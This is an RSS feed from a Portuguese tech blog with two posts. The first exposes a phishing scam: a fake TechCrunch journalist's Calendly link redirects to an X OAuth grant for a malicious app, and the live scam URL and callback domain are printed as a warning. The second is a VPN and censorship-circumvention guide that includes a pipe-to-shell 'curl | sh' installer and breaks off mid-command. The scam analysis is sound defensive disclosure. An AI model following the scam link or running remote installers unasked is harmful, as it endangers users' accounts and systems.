<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Seguranca | AkitaOnRails.com</title><link>https://akitaonrails.github.io/tags/seguranca/</link><description>Blog do Fabio Akita do Canal do YouTube 'Akitando' falando sobre tecnologia, carreira e coisas geek.</description><generator>Hugo -- gohugo.io</generator><language>pt-BR</language><lastBuildDate>Mon, 19 Oct 2026 23:20:49 +0000</lastBuildDate><atom:link href="https://akitaonrails.github.io/tags/seguranca/index.xml" rel="self" type="application/rss+xml"/><item><title>Cuidado! Pseudo-Techcrunch tentou me pegar em golpe! E Calendly é uma MERDA</title><link>https://akitaonrails.github.io/2026/09/22/pseudo-techcrunch-tentou-me-pegar-em-golpe-calendly-e-uma-merda/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/09/22/pseudo-techcrunch-tentou-me-pegar-em-golpe-calendly-e-uma-merda/</guid><pubDate>Tue, 22 Sep 2026 21:00:00 -0300</pubDate><description>&lt;p&gt;Hoje à noite recebi uma DM no X de uma conta se apresentando como jornalista, cobrindo IA pra TechCrunch, perguntando sobre como agentes de código lidam com contexto de projeto. Pedido de entrevista educado, tema batendo direto com o que eu escrevo aqui. E terminou em cima de um link que redireciona pra uma tela de autorização de conta do X. Isso é golpe, documentado, com prova técnica. Se você usa rede social e já recebeu mensagem parecida, este texto é pra você.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Hoje à noite recebi uma DM no X de uma conta se apresentando como jornalista, cobrindo IA pra TechCrunch, perguntando sobre como agentes de código lidam com contexto de projeto. Pedido de entrevista educado, tema batendo direto com o que eu escrevo aqui. E terminou em cima de um link que redireciona pra uma tela de autorização de conta do X. Isso é golpe, documentado, com prova técnica. Se você usa rede social e já recebeu mensagem parecida, este texto é pra você.</p>
<h2>A conta<span class="hx:absolute hx:-mt-20" id="a-conta"></span>
    <a href="#a-conta" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/09/22/scam-mia-profile.png" alt="Perfil no X de uma conta chamada Mia, @MiaEsswein, com selo de verificado, se apresentando como jornalista cobrindo IA para a TechCrunch, anteriormente na Mashable"  loading="lazy" /></p>
<p>A bio diz: <em>&ldquo;Covering AI, startups, markets, and emerging technologies for @TechCrunch | prev @mashable&rdquo;</em>. Selo de verificado, conta desde agosto de 2014, mais de 45 mil posts, 1.409 seguidores. Pelos números, parece uma conta antiga e ativa, não um perfil criado ontem.</p>
<h2>A conversa<span class="hx:absolute hx:-mt-20" id="a-conversa"></span>
    <a href="#a-conversa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui está a troca completa, sem cortar nada:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/09/22/scam-dm-conversation.png" alt="Conversa de DM no X: a conta manda um link do Calendly e pede pra marcar reunião com o time dela; eu respondo recusando autorizar o Calendly a acessar minha conta do X e peço identificação"  loading="lazy" /></p>
<p>E aqui está o link, exatamente como veio, pra quem quiser reconhecer se recebeu o mesmo:</p>
<blockquote>
  <p><strong>Link de phishing confirmado. Não clique. Se já clicou, não autorize nada.</strong>
<code>https://calendly.com/d/d336-3mq-q2z</code></p>

</blockquote>
<h2>Eu já sabia que era golpe<span class="hx:absolute hx:-mt-20" id="eu-já-sabia-que-era-golpe"></span>
    <a href="#eu-j%c3%a1-sabia-que-era-golpe" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Reconheci o padrão na hora porque o José Valim, criador do Elixir, caiu exatamente nessa isca em março deste ano e <a href="https://x.com/josevalim/status/2029628027945021810"target="_blank" rel="noopener">documentou tudo publicamente</a>.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/09/22/scam-josevalim-post.png" alt="Post do José Valim no X contando que a conta dele foi hackeada temporariamente pelo mesmo golpe do Calendly com autorização falsa do Twitter"  loading="lazy" /></p>
<p>Mesmo pretexto, TechCrunch pedindo entrevista sobre tema técnico que a vítima domina. Mesmo mecanismo, link de Calendly que termina numa autorização do X. A conta dele acabou sendo usada pra espalhar spam de cripto antes dele revogar o acesso.</p>
<p>Quando a mensagem chegou pra mim hoje, quase comemorei. Sabia na hora que ia virar bom conteúdo pro blog. Por isso continuei a conversa educadamente, só o suficiente pra printar tudo, e agora estou expondo a conta publicamente. <strong>Sempre exponha quem tenta te aplicar golpe.</strong> Isso não é sobre humilhar ninguém, é sobre deixar rastro público pra próxima pessoa que receber a mesma mensagem e for procurar no Google.</p>
<h2>Mesmo sem saber do Valim, dava pra ver<span class="hx:absolute hx:-mt-20" id="mesmo-sem-saber-do-valim-dava-pra-ver"></span>
    <a href="#mesmo-sem-saber-do-valim-dava-pra-ver" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Contato frio pedindo reunião, do nada, sem apresentação prévia, é golpe em 99% dos casos. Ninguém profissional de verdade opera assim, e muito menos por DM de rede social. Fazer isso é ser vendedor de porta em porta com Wi-Fi.</p>
<p>Nome de veículo grande no pretexto não muda nada pra mim. Eu me considero melhor do que a TechCrunch ou a capenga da Mashable, e nem alguém alegando falar em nome da Casa Branca ia me impressionar. Sem pedir desculpa por isso.</p>
<p>E mesmo se fosse uma pessoa normal por trás: meu tempo não é de graça. Quer consultoria de verdade? Fala com minha empresa, marca reunião comercial no Calendly <em>da empresa</em>, assina contrato, paga o valor, e só depois eu converso. Não existe atalho de &ldquo;vamos bater um papo rápido&rdquo; com estranho.</p>
<p>No momento em que cliquei no link, ele redirecionou direto pra tela de autorização do X, óbvio que recusei. Cliquei de propósito só pra tirar o print.</p>
<h2>O mecanismo técnico<span class="hx:absolute hx:-mt-20" id="o-mecanismo-técnico"></span>
    <a href="#o-mecanismo-t%c3%a9cnico" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/09/22/scam-oauth-authorize.png" alt="Tela de autorização OAuth do X pedindo permissão para o app “Events Portal” acessar a conta, com aviso de que o app não é afiliado ao X e está pedindo permissões sensíveis, callback em plugins.cal-apis.com"  loading="lazy" /></p>
<p>Um leitor comentou que a barra de endereço do print original mostrava um <code>oauth_token</code> na URL, e perguntou se isso não era inseguro de publicar. Boa pergunta, e editei o print pra apagar aquele trecho mesmo assim. Mas o risco real ali era zero: aquilo é um token de pedido do OAuth 1.0a, não um token de acesso. Ele só vira credencial de verdade depois que a autorização é aprovada e o app troca esse token por um verificador junto com sua própria chave secreta, nenhuma das duas coisas aconteceu, porque eu cliquei em cancelar. Token de pedido não usado também expira sozinho em poucos minutos, por definição do próprio X. Mesmo sem risco nenhum, não custa nada tirar da imagem, e vale como regra geral: nunca publique nada que pareça token, mesmo o que você tem certeza que já morreu.</p>
<p>O primeiro passo é real: <code>calendly.com/d/d336-3mq-q2z</code> roda em cima da infraestrutura de verdade do Calendly, confirmei isso batendo direto no link e conferindo os cookies e cabeçalhos de resposta, tudo genuíno. É um formulário de roteamento padrão do produto, nome e tipo de reunião.</p>
<p>O golpe mora no que acontece depois de enviar o formulário. O Calendly tem um recurso legítimo de &ldquo;redirecionar após o agendamento&rdquo;, e é exatamente esse recurso que foi configurado pra mandar a vítima pra uma tela de autorização OAuth do X. Essa tela também é real, ela roda em <code>api.x.com</code>, o domínio de verdade do X. O golpe não falsifica a tela de login. Ele abusa de um recurso genuíno do Calendly pra encadear numa tela genuína do X, autorizando um aplicativo de terceiro malicioso.</p>
<p>E aqui vai a parte que eu quero deixar bem marcada: essa não é falha exótica escondida em algum canto obscuro. É um pseudo-recurso ligado por padrão, redirecionamento livre pra qualquer URL depois do agendamento, sem checagem nenhuma de destino. Enquanto o Calendly não desativar ou pelo menos restringir esse redirecionamento, ele continua sendo vetor de phishing pronto pra uso, e a responsabilidade de fechar essa porta é do Calendly, não do usuário que só queria marcar uma reunião.</p>
<p>Esse aplicativo se chama <strong>&ldquo;Events Portal&rdquo;</strong>, alega ser <code>www.eventsportal.com</code>, e o X mostra um aviso próprio: <em>&ldquo;Este app não é afiliado ao X e está solicitando permissões sensíveis&rdquo;</em>, com o callback apontando pra <code>plugins.cal-apis.com</code>, não pra nenhum domínio real do Calendly. As permissões pedidas são de sequestro de conta completo:</p>
<ul>
<li>ver posts protegidos, listas e coleções;</li>
<li>ver configuração de conta e perfil;</li>
<li>ver quem você segue, silencia e bloqueia;</li>
<li>seguir e deixar de seguir por você;</li>
<li>atualizar seu perfil e configurações;</li>
<li>criar e excluir posts, curtir, repostar e responder por você;</li>
<li>criar, gerenciar e excluir listas;</li>
<li>silenciar, bloquear e denunciar contas por você.</li>
</ul>
<p>Com isso autorizado, a conta vira arma pra atacar a próxima pessoa, exatamente o que aconteceu com o José Valim.</p>
<h2>O que eu confirmei por conta própria<span class="hx:absolute hx:-mt-20" id="o-que-eu-confirmei-por-conta-própria"></span>
    <a href="#o-que-eu-confirmei-por-conta-pr%c3%b3pria" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Calendly de verdade não pede login de rede social pra marcar reunião, ponto final. O que a tela mostrou é o recurso legítimo de &ldquo;redirecionar após o agendamento&rdquo; sequestrado pra virar vetor de phishing contra conta do X. Não parei na primeira impressão, fui confirmar cada peça sozinho:</p>
<ul>
<li>o domínio <code>cal-apis.com</code> foi registrado há só seis dias, em 16 de setembro de 2026, por um revendedor chinês ligado à Alibaba Cloud, escondido atrás de servidor de nome do Cloudflare. Domínio descartável, criado especificamente pra isso, não infraestrutura real de nenhuma empresa;</li>
<li>pesquisadores de segurança (Push Security e Validin) já documentaram campanha de phishing com tema Calendly usada pra roubar conta de Google Workspace e de Facebook Business, mesma família de golpe, alvo diferente do meu caso;</li>
<li>especificamente contra conta do X, o que existe documentado é relato em primeira mão: o próprio José Valim, e um relato público de fevereiro de 2025 contando que um golpe quase idêntico, Calendly falso levando a login do X, quase pegou duas outras pessoas conhecidas da comunidade de tecnologia;</li>
<li>não achei nenhum registro de &ldquo;Mia Esswein&rdquo; como jornalista de verdade da TechCrunch ou da Mashable em nenhuma busca. Não é prova definitiva de nada sozinha, mas some ao resto da pilha de evidência.</li>
</ul>
<h2>O checklist que eu uso<span class="hx:absolute hx:-mt-20" id="o-checklist-que-eu-uso"></span>
    <a href="#o-checklist-que-eu-uso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
<li>contato frio pedindo reunião, sem apresentação, é golpe até prova em contrário;</li>
<li>ferramenta de agendamento de verdade nunca pede login de rede social pra marcar horário;</li>
<li>app de terceiro pedindo &ldquo;permissão sensível&rdquo; e avisando que &ldquo;não é afiliado&rdquo; à plataforma é bandeira vermelha, não detalhe técnico ignorável;</li>
<li>se você já autorizou algo assim, revogue agora: no X, Configurações → Segurança e acesso à conta → Apps e sessões;</li>
<li>denuncie a conta que mandou o link, e denuncie o evento do Calendly se ainda tiver a conversa.</li>
</ul>
<h2>Pra quem tentou<span class="hx:absolute hx:-mt-20" id="pra-quem-tentou"></span>
    <a href="#pra-quem-tentou" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Vocês escolheram a pessoa errada pra tentar. Eu não converso de graça com estranho por princípio, muito menos autorizo aplicativo desconhecido em conta que eu uso pra trabalhar. Reconheço o padrão de longe porque leio sobre isso, e ainda por cima ganhei um artigo novo pro blog de brinde. Da próxima vez, invistam menos em domínio novo registrado às pressas e mais em disfarce que sobreviva a alguém que presta atenção.</p>
]]></content:encoded><category>seguranca</category><category>inteligencia-artificial</category></item><item><title>Guia de Sobrevivência para uma Internet Censurada</title><link>https://akitaonrails.github.io/2026/08/19/guia-de-sobrevivencia-para-uma-internet-censurada/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/08/19/guia-de-sobrevivencia-para-uma-internet-censurada/</guid><pubDate>Wed, 19 Aug 2026 12:00:00 -0300</pubDate><description>&lt;p&gt;Semana passada eu escrevi sobre &lt;a href="https://akitaonrails.github.io/2026/08/13/entendendo-a-censura-ao-discord-e-a-eca-digital/"&gt;a censura ao Discord e a ECA Digital&lt;/a&gt;: a ANPD mandou desligar o Go Live no país inteiro porque a criptografia de ponta a ponta impede a vigilância do conteúdo, e no mesmo pacote veio a primeira majorante de pena da história pra quem comete crime &amp;ldquo;usando VPN&amp;rdquo;. Depois daquele artigo, a pergunta que mais recebi foi a óbvia: &lt;em&gt;&amp;ldquo;tá, e o que eu faço?&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Este artigo é a resposta: um guia prático, do mais fácil ao mais complicado, pra você manter seus canais de comunicação de pé conforme o cerco for fechando. Porque o cerco &lt;strong&gt;está&lt;/strong&gt; fechando, e convém entender o ritmo dele antes de escolher suas ferramentas.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Semana passada eu escrevi sobre <a href="/2026/08/13/entendendo-a-censura-ao-discord-e-a-eca-digital/">a censura ao Discord e a ECA Digital</a>: a ANPD mandou desligar o Go Live no país inteiro porque a criptografia de ponta a ponta impede a vigilância do conteúdo, e no mesmo pacote veio a primeira majorante de pena da história pra quem comete crime &ldquo;usando VPN&rdquo;. Depois daquele artigo, a pergunta que mais recebi foi a óbvia: <em>&ldquo;tá, e o que eu faço?&rdquo;</em></p>
<p>Este artigo é a resposta: um guia prático, do mais fácil ao mais complicado, pra você manter seus canais de comunicação de pé conforme o cerco for fechando. Porque o cerco <strong>está</strong> fechando, e convém entender o ritmo dele antes de escolher suas ferramentas.</p>
<h2>O histórico: nada disso é novo<span class="hx:absolute hx:-mt-20" id="o-histórico-nada-disso-é-novo"></span>
    <a href="#o-hist%c3%b3rico-nada-disso-%c3%a9-novo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quem se surpreendeu com o caso do Discord não estava prestando atenção. O Judiciário brasileiro bloqueia serviços de comunicação há mais de uma década, sempre por cima de milhões de usuários inocentes pra atingir meia dúzia de investigados:</p>
<ul>
<li><strong>WhatsApp, 2015 e 2016</strong>: bloqueado <a href="https://g1.globo.com/tecnologia/noticia/2022/03/18/whatsapp-ja-foi-bloqueado-por-decisao-judicial-em-2015-e-2016-no-brasil.ghtml"target="_blank" rel="noopener">três vezes por juízes de primeira instância</a>, sempre porque a empresa não entregava conversas que, por desenho, ela não consegue ler.</li>
<li><strong>Telegram, 2022 e 2023</strong>: suspenso <a href="https://www.gazetadopovo.com.br/republica/stf-voltara-a-julgar-bloqueio-do-whatsapp-moraes-ja-suspendeu-telegram/"target="_blank" rel="noopener">por dois dias por ordem de Moraes em março de 2022</a>, e de novo por um juiz federal em 2023. O <a href="https://www.migalhas.com.br/depeso/414499/stf-alem-do-x-relembre-os-bloqueios-do-whatsapp-e-telegram-no-brasil"target="_blank" rel="noopener">Migalhas tem a linha do tempo completa</a>.</li>
<li><strong>X/Twitter, 2024</strong>: o marco. <a href="https://itforum.com.br/noticias/de-outubro-a-outubro-confronto-x-e-stf/"target="_blank" rel="noopener">Suspensão nacional de 30 de agosto a 8 de outubro</a>, <strong>40 dias</strong>, por ordem monocrática. E aqui vem o detalhe que importa pra este guia: a decisão incluía <a href="https://www.gazetadopovo.com.br/mundo/crise-eua-moraes-twitter-files-lei-magnitsky/"target="_blank" rel="noopener">multa de R$ 50 mil por dia pra qualquer pessoa física que acessasse o X por VPN</a>, ordem pras lojas de app removerem aplicativos de VPN (recuou horas depois), e <a href="https://istoedinheiro.com.br/pf-e-anatel-enviam-ao-stf-relatorios-sobre-acessos-ao-x-mesmo-com-bloqueio"target="_blank" rel="noopener">PF e Anatel produzindo relatórios sobre quem burlou o bloqueio</a> pra subsidiar as multas.</li>
</ul>
<p>Repare no que aconteceu ali: pela primeira vez, usar uma ferramenta neutra de privacidade virou, por si só, conduta punível no Brasil. Ninguém foi multado no fim das contas, mas a infraestrutura pra multar foi montada, testada e documentada. E em 2026 o Congresso votou e o presidente sancionou a majorante de pena pra crimes cometidos com VPN. O precedente do X deixou de ser exceção e virou repertório.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> no caso do X, o Estado brasileiro já tratou usuário de VPN como infrator, já tentou tirar VPN da loja de apps e já pediu relatório de quem burlou. Tudo documentado, em decisão judicial e relatório público.</p>

</blockquote>
<h2>O destino final: o modelo chinês<span class="hx:absolute hx:-mt-20" id="o-destino-final-o-modelo-chinês"></span>
    <a href="#o-destino-final-o-modelo-chin%c3%aas" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não me resta dúvida de que gente muito bem posicionada no governo olha pra <a href="https://freedomhouse.org/country/china/freedom-net/2024"target="_blank" rel="noopener">Grande Muralha da China</a> com inveja, não com horror. E vale entender o que ela é, porque ela define o limite do jogo.</p>
<p>A Muralha vai muito além de bloquear sites. É inspeção profunda de pacotes (DPI) em escala nacional, rodando na espinha dorsal da internet do país: todo tráfego é classificado em tempo real, protocolos de VPN conhecidos são identificados pelo formato do aperto de mão e derrubados, o Tor é bloqueado por padrão, e só VPNs <strong>homologadas pelo Estado</strong> (ou seja, com porta dos fundos) operam legalmente. Cidadão comum pego usando VPN não autorizada toma multa. E mesmo quando o tráfego não pode ser lido, os metadados entregam o jogo: quem fala com quem, quando, por quanto tempo.</p>
<p>Por isso a resposta honesta pra pergunta &ldquo;dá pra burlar uma Muralha dessas sem ser notado?&rdquo; é: <strong>não, não pra um cidadão comum</strong>. Contra um firewall estatal desse nível, nenhuma ferramenta doméstica te torna invisível. No máximo te torna caro demais pra valer a pena perseguir em massa. Quem te vender invisibilidade total está mentindo.</p>
<p>A boa notícia é que o Brasil não está nem perto desse ponto. Censura raramente chega de uma vez: vem em degraus, e cada degrau tem uma defesa correspondente. O resto deste guia é essa escada, degrau por degrau. A lógica de tudo que vem a seguir é uma só: <strong>censura é uma questão de custo</strong>. Nosso trabalho é deixar o bloqueio caro, tecnicamente e politicamente, até que massificar ele seja impraticável.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> contra um firewall estatal completo, nenhuma ferramenta te torna invisível, só caro demais pra perseguir em massa. O jogo é subir a sua escada antes que o censor suba a dele.</p>

</blockquote>
<h2>Fase 1: VPN comercial, o mínimo que todo mundo deveria ter<span class="hx:absolute hx:-mt-20" id="fase-1-vpn-comercial-o-mínimo-que-todo-mundo-deveria-ter"></span>
    <a href="#fase-1-vpn-comercial-o-m%c3%adnimo-que-todo-mundo-deveria-ter" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Comece pelo óbvio. Uma VPN (rede privada virtual) cria um túnel criptografado entre o seu dispositivo e um servidor do provedor. Seu provedor de internet passa a ver só um fluxo cifrado indo pra um endereço só; os sites que você acessa veem o IP da VPN, não o seu. Eu explico a fundo, com a teoria de redes por baixo, no <a href="https://akitaonrails.com/2022/08/29/akitando-126-criando-uma-rede-segura-introducao-a-redes-parte-6-vpn-e-nas/"target="_blank" rel="noopener">Akitando 126</a>.</p>
<p>O que uma VPN <strong>faz</strong>: esconde seu tráfego do provedor de internet, troca seu IP de saída, te tira de bloqueios geográficos e de bloqueios judiciais por DNS/IP. O que ela <strong>não faz</strong>:</p>
<ul>
<li><strong>Não te torna anônimo.</strong> O provedor da VPN vê todo o seu tráfego no lugar do seu ISP. Você não eliminou o vigia, só trocou de vigia.</li>
<li><strong>Não esconde sua identidade se você pagou com cartão.</strong> Assinatura com cartão de crédito amarra a conta de VPN ao seu CPF. Se a autoridade chegar com ordem judicial no provedor, seu nome está lá.</li>
<li><strong>Não protege o conteúdo depois do túnel.</strong> Da saída da VPN até o site final vale a criptografia normal da web (HTTPS). A VPN é um trecho do caminho, não o caminho inteiro.</li>
</ul>
<p>Dito isso, pras fases iniciais do cerco ela resolve. Minhas recomendações, em ordem:</p>
<ul>
<li><strong><a href="https://protonvpn.com/"target="_blank" rel="noopener">ProtonVPN</a></strong>: Suíça, fora da jurisdição fácil, código aberto e auditado, política de não guardar registros testada em tribunal, tem plano gratuito decente e aceita pagamento até em dinheiro pelo correio.</li>
<li><strong><a href="https://mullvad.net/"target="_blank" rel="noopener">Mullvad</a></strong>: Suécia, a mais paranoica do mercado: não pede nem e-mail, sua conta é um número aleatório. Preço fixo de €5/mês, aceita dinheiro vivo num envelope e criptomoeda. É o mais próximo de &ldquo;VPN sem identidade&rdquo; que existe em produto comercial.</li>
<li>NordVPN e similares funcionam tecnicamente, mas o dinheiro delas vai mais pra marketing do que pra postura de privacidade. Entre as grandes, fico com as duas acima.</li>
</ul>
<p><strong>O limite dessa fase</strong> é conhecido: os IPs de saída das VPNs famosas são públicos e catalogados. Uma ordem da ANPD ou da Anatel pros provedores nacionais bloquearem esses ranges é tecnicamente trivial, e o caso do X mostrou que remover o app da loja também está no cardápio. Quando (não se) isso acontecer, a VPN comercial morre em um dia. Por isso existe a Fase 2.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> VPN comercial é o cinto de segurança: use sempre, mas saiba que ela depende de três coisas fora do seu controle. O app continuar na loja, os IPs continuarem desbloqueados e o provedor continuar honesto.</p>

</blockquote>
<h2>Fase 2: VPN auto-hospedada, seu próprio túnel<span class="hx:absolute hx:-mt-20" id="fase-2-vpn-auto-hospedada-seu-próprio-túnel"></span>
    <a href="#fase-2-vpn-auto-hospedada-seu-pr%c3%b3prio-t%c3%banel" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A jogada aqui muda de figura: em vez de assinar um serviço com milhões de usuários e IPs catalogados, você aluga um servidorzinho barato fora do Brasil e monta a sua VPN pessoal. Não existe lista pública do seu IP pra censura baixar. Você é um usuário de um IP desconhecido, indistinguível de qualquer outro tráfego até ser analisado de perto.</p>
<p><strong>Escolha do provedor (e por que não AWS, Azure ou Google Cloud).</strong> As nuvens grandes têm faixas de IP (ASNs) enormes, públicas e mapeadas. Bloquear elas inteiras é uma linha numa tabela de roteamento; o freio é só o dano colateral (muita empresa brasileira legítima está lá), e outros países já pagaram esse preço em situações de crise. Provedores menores diluem esse alvo. Opções que eu consideraria, do médio pro pequeno:</p>
<table>
  <thead>
      <tr>
          <th>Provedor</th>
          <th>Sede</th>
          <th>Por que</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><a href="https://www.hetzner.com/cloud"target="_blank" rel="noopener">Hetzner</a></td>
          <td>Alemanha/Finlândia</td>
          <td>Barato, confiável, fora do alcance fácil</td>
      </tr>
      <tr>
          <td><a href="https://www.ovhcloud.com/"target="_blank" rel="noopener">OVH</a> / <a href="https://www.scaleway.com/"target="_blank" rel="noopener">Scaleway</a></td>
          <td>França</td>
          <td>Idem, jurisdição europeia</td>
      </tr>
      <tr>
          <td><a href="https://contabo.com/"target="_blank" rel="noopener">Contabo</a></td>
          <td>Alemanha</td>
          <td>Muito barato, perfil baixo</td>
      </tr>
      <tr>
          <td><a href="https://www.vultr.com/"target="_blank" rel="noopener">Vultr</a> / <a href="https://www.digitalocean.com/"target="_blank" rel="noopener">DigitalOcean</a></td>
          <td>EUA/global</td>
          <td>Médios, conhecidos mas não gigantes</td>
      </tr>
      <tr>
          <td><a href="https://my.frantech.ca/"target="_blank" rel="noopener">BuyVM</a>, <a href="https://hosthatch.com/"target="_blank" rel="noopener">HostHatch</a>, <a href="https://liteserver.nl/"target="_blank" rel="noopener">LiteServer</a></td>
          <td>EUA/Europa</td>
          <td>Pequenos, fora de qualquer lista óbvia</td>
      </tr>
  </tbody>
</table>
<p>Uma máquina de US$ 3 a 5 por mês, com 1 GB de RAM, sobra pra uma VPN pessoal. <strong>Ressalva importante:</strong> pagar VPS com cartão deixa rastro igual à VPN comercial: seu nome está no cadastro do provedor, e o provedor pode ser compelido judicialmente. Alguns aceitam criptomoeda, o que reduz (não elimina) o rastro. Pra maioria das pessoas, nesta fase, o risco de cadastro é aceitável: você não está se escondendo de uma investigação, está saindo da mira de um bloqueio em massa.</p>
<h3>Passo a passo: WireGuard com wg-easy<span class="hx:absolute hx:-mt-20" id="passo-a-passo-wireguard-com-wg-easy"></span>
    <a href="#passo-a-passo-wireguard-com-wg-easy" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Vou usar o <a href="https://github.com/wg-easy/wg-easy"target="_blank" rel="noopener">wg-easy</a>, que empacota o WireGuard (o protocolo de VPN moderno, rápido e auditável) num container Docker com painel web e QR code pra configurar o celular em segundos.</p>
<p><strong>1. Alugue o VPS.</strong> Ubuntu 24.04, a menor máquina disponível, região fora do Brasil (Amsterdã, Frankfurt e Helsinque são escolhas clássicas por jurisdição e latência aceitável).</p>
<p><strong>2. Acesse e atualize:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ssh root@SEU_IP
</span></span><span class="line"><span class="cl">apt update <span class="o">&amp;&amp;</span> apt upgrade -y</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>3. Instale o Docker:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -fsSL https://get.docker.com <span class="p">|</span> sh</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>4. Gere o hash da senha do painel</strong> (o wg-easy não aceita senha em texto puro; anote a senha que você escolher):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker run --rm -it ghcr.io/wg-easy/wg-easy wgpw <span class="s1">&#39;SuaSenhaForteAqui&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># a saída é algo como: PASSWORD_HASH=$2b$12$abc...</span>
</span></span><span class="line"><span class="cl"><span class="c1"># no comando abaixo, duplique cada cifrão: $ vira $$</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>5. Suba o container:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker run -d <span class="se">\
</span></span></span><span class="line"><span class="cl">  --name<span class="o">=</span>wg-easy <span class="se">\
</span></span></span><span class="line"><span class="cl">  -e <span class="nv">WG_HOST</span><span class="o">=</span>SEU_IP <span class="se">\
</span></span></span><span class="line"><span class="cl">  -e <span class="nv">PASSWORD_HASH</span><span class="o">=</span><span class="s1">&#39;$$2b$$12$$abc...&#39;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  -v ~/.wg-easy:/etc/wireguard <span class="se">\
</span></span></span><span class="line"><span class="cl">  -p 51820:51820/udp <span class="se">\
</span></span></span><span class="line"><span class="cl">  -p 51821:51821/tcp <span class="se">\
</span></span></span><span class="line"><span class="cl">  --cap-add<span class="o">=</span>NET_ADMIN <span class="se">\
</span></span></span><span class="line"><span class="cl">  --sysctl<span class="o">=</span><span class="s2">&#34;net.ipv4.conf.all.src_valid_mark=1&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  --sysctl<span class="o">=</span><span class="s2">&#34;net.ipv4.ip_forward=1&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  --restart unless-stopped <span class="se">\
